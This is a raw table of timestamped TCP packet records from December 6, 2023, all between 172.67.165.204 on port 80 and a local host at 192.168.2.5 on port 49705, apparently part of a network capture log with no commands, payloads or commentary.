Dec 6, 2023 14:50:51.263784885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263807058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263817072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263828039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263849020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263861895 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263884068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263906956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263921022 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263928890 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263947010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263967037 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263988018 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264009953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264024973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264033079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264054060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264065981 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264076948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264097929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264111042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264120102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264154911 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264157057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264178991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264213085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264241934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264321089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264343977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264363050 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264365911 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264388084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264408112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264414072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264430046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264453888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264461040 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264491081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264492989 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264600992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264631033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264636040 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264652967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264674902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264688015 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264695883 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264734030 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264738083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264759064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264792919 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264796019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264818907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264841080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264853954 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264892101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264913082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264926910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264935970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264956951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.264969110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.264976025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265008926 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265012980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265049934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265085936 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265100002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265121937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265161037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265161991 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265182972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265204906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265218019 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265225887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265260935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265275955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265297890 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265331984 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265335083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265518904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265563011 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265584946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265621901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265661955 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265685081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265707016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265727997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265746117 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265750885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265773058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265790939 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265795946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265816927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265830994 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265836000 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265862942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265875101 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265882969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265906096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265918016 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265923977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265957117 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.265963078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.265999079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266033888 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.266047001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266069889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266091108 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266102076 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.266551971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266576052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266594887 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.266608953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266632080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266644955 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.266654015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266688108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.266690969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266714096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266736031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266756058 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.266757965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266779900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266793013 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.266802073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266836882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.266973019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.266995907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267018080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267036915 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.267040968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267061949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267075062 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.267083883 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267105103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267119884 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.267142057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267169952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267182112 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.267190933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267214060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267225027 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.267235994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267257929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267271042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.267278910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267299891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267313004 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.267321110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267343044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267355919 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.267379999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267401934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267415047 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.267424107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.267461061 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268011093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268034935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268058062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268074989 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268088102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268110037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268121958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268141031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268176079 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268177986 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268201113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268224001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268235922 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268260002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268281937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268296003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268306017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268327951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268341064 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268349886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268382072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268399000 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268450022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268471956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268486023 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268495083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268517017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268528938 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268538952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268573046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268919945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268944979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268965960 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.268980980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.268990993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269022942 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269027948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269051075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269073963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269083977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269094944 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269115925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269129038 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269138098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269160032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269171953 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269181967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269203901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269220114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269226074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269260883 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269263029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269285917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269308090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269320965 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269330025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269351959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269361973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269372940 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269404888 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269850969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269874096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269896030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269906998 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269929886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.269964933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.269968033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270030022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270075083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270086050 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.270097971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270119905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270136118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.270142078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270164013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270176888 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.270186901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270209074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270222902 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.270231009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270265102 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.270267963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270289898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270312071 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270325899 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.270360947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270382881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270395994 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.270404100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270437956 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.270817041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270840883 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270875931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.270878077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270955086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270977974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.270989895 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271008968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271030903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271044016 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271051884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271073103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271086931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271095991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271130085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271291971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271311045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271334887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271346092 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271356106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271378040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271390915 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271414042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271435022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271447897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271456003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271476984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271492004 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271501064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271522999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271536112 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271560907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271581888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271596909 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271619081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271641016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271662951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271665096 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271699905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271704912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271734953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271769047 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.271771908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271794081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.271826982 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272192955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272216082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272252083 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272269011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272291899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272325039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272341013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272403002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272424936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272440910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272447109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272469044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272483110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272490978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272512913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272524118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272579908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272603035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272614956 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272624016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272659063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272659063 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272697926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272727966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272737980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272752047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272774935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.272787094 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.272958994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273005962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.273175001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273197889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273220062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273233891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.273241043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273262978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273274899 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.273284912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273318052 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.273361921 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273401976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273438931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.273462057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273484945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273519039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.273549080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273583889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273614883 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.273617983 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.273636103 CET	80	49705	172.67.165.204	192.168.2.5
